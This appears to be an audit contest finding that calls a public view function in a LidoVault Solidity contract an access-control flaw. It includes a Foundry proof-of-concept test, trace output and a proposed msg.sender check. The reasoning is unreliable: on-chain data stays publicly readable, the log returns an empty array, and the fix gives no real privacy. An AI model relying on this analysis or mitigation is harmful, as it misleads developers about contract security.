LidoVault contract function named getVariableToVaultOngoingWithdrawalRequestIds exposes sensitive information

Security Audit Findings Report

Auditor: Fat32
Severity: Medium
Issue Type: Access Control Violation
Location: LidoVault.sol#L154-L156

Vulnerability Summary:

The function getVariableToVaultOngoingWithdrawalRequestIds() exposes sensitive information by allowing any external caller to access ongoing withdrawal request IDs of any user. This allows a malicious actor to enumerate all users’ ongoing withdrawal request information, which may expose sensitive transaction data and open attack vectors.

Impact:

This vulnerability poses an information disclosure risk, as any external account can view internal details of another user's vault activity. Specifically, withdrawal request IDs may be exploited for front-running attacks or to gather insights into vault activity that should remain private.

Exploit Scenario:

Attacker's Actions:
- An attacker could call the getVariableToVaultOngoingWithdrawalRequestIds() function and supply another user's address.
- The attacker retrieves that user's ongoing withdrawal request IDs.
Potential Attack Vector:
- The attacker can use this information to gather insights into when large withdrawals are happening and potentially initiate front-running transactions or other malicious actions based on the observed withdrawal patterns.

Proof of Concept (PoC):

Foundry Test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import {Test, console} from "forge-std/Test.sol";
import {LidoVault} from "../contracts/LidoVault.sol";

import "../contracts/interfaces/ILidoVault.sol";
import "../contracts/interfaces/ILido.sol";
import "../contracts/interfaces/ILidoWithdrawalQueueERC721.sol";
import "../contracts/interfaces/ILidoVaultInitializer.sol";

contract LidoVaultAccessControlTest is Test {
    LidoVault public lidovault;
    address public account;
    ILido public ilido;
    ILidoVault public ilidovault;
    ILidoWithdrawalQueueERC721 public ilidowithdrawal;
    ILidoVaultInitializer public ilidovaultinitializer;
    ILidoVaultInitializer.InitializationParams public initializationparams;

    // Mock Lido contract
    function setUp() public {
        account = address(this);
        uint256 newBalance = 100 ether;
        lidovault = new LidoVault(true); // Initializing LidoVault with a true parameter
        ilido = ILido(address(this)); // Deploying a mock Lido contract
        vm.deal(account, newBalance); // Deal ether to the test account
    }

    function testAccessController() external {
        uint256 amount = 1000;
        address attacker = address(0xbEEF);
        address user = address(1157920892373111111111111111111111111111111111111);
        vm.startPrank(attacker);
        //lidovault.initialize(ILidoVaultInitializer.InitializationParams({ vaultId: type(uint256).max, duration: type(uint256).max, fixedSideCapacity: type(uint256).max, variableSideCapacity: type(uint256).max, earlyExitFeeBps: type(uint256).max, protocolFeeBps: type(uint256).max, protocolFeeReceiver: address(0xbEEF) }));
        lidovault.getVariableToVaultOngoingWithdrawalRequestIds(account);
        vm.stopPrank();
    }
}

Foundry Log Results:

lido-fiv % forge test -vvvvv --match-contract LidoVaultAccessControl
...
Ran 1 test for test/LidoVaultAccessControl.t.sol:LidoVaultAccessControlTest
[PASS] testAccessController() (gas: 13789)
Traces:
  [3450702] LidoVaultAccessControlTest::setUp()
    ├─ [3362361] → new LidoVault@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 16670 bytes of code
    ├─ [0] VM::deal(LidoVaultAccessControlTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 100000000000000000000 [1e20])
    │   └─ ← [Return] 
    └─ ← [Stop] 

  [13789] LidoVaultAccessControlTest::testAccessController()
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000bEEF)
    │   └─ ← [Return] 
    ├─ [2959] LidoVault::getVariableToVaultOngoingWithdrawalRequestIds(LidoVaultAccessControlTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   └─ ← [Return] []
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.87ms (1.56ms CPU time)

Ran 1 test suite in 616.23ms (11.87ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The log confirms that an external attacker (0xbEEF) was able to call the getVariableToVaultOngoingWithdrawalRequestIds function successfully, revealing private withdrawal request information.

Recommended Mitigation:

To mitigate this issue, access control should be implemented to restrict this function, allowing only the user (or other authorized entities, such as the protocol owner) to retrieve their own ongoing withdrawal request information.

Solidity Mitigation:

function getVariableToVaultOngoingWithdrawalRequestIds(address user) public view returns (uint256[] memory) {
    require(msg.sender == user, "Unauthorized: Cannot access another user's withdrawal requests");
    return variableToVaultOngoingWithdrawalRequestIds[user];
}

This change ensures that only the user who owns the withdrawal request IDs can access this sensitive information.

Conclusion:

Severity: Medium
Issue Type: Access Control Violation
Impact: Unrestricted access to sensitive user withdrawal information can lead to information leakage and potential attacks.
Mitigation: Restrict access by ensuring only the user can access their own withdrawal request IDs.

sherlock-audit / 2024-08-saffron-finance-judging

fat32 - LidoVault contract function named getVariableToVaultOngoingWithdrawalRequestIds exposes sensitive information #163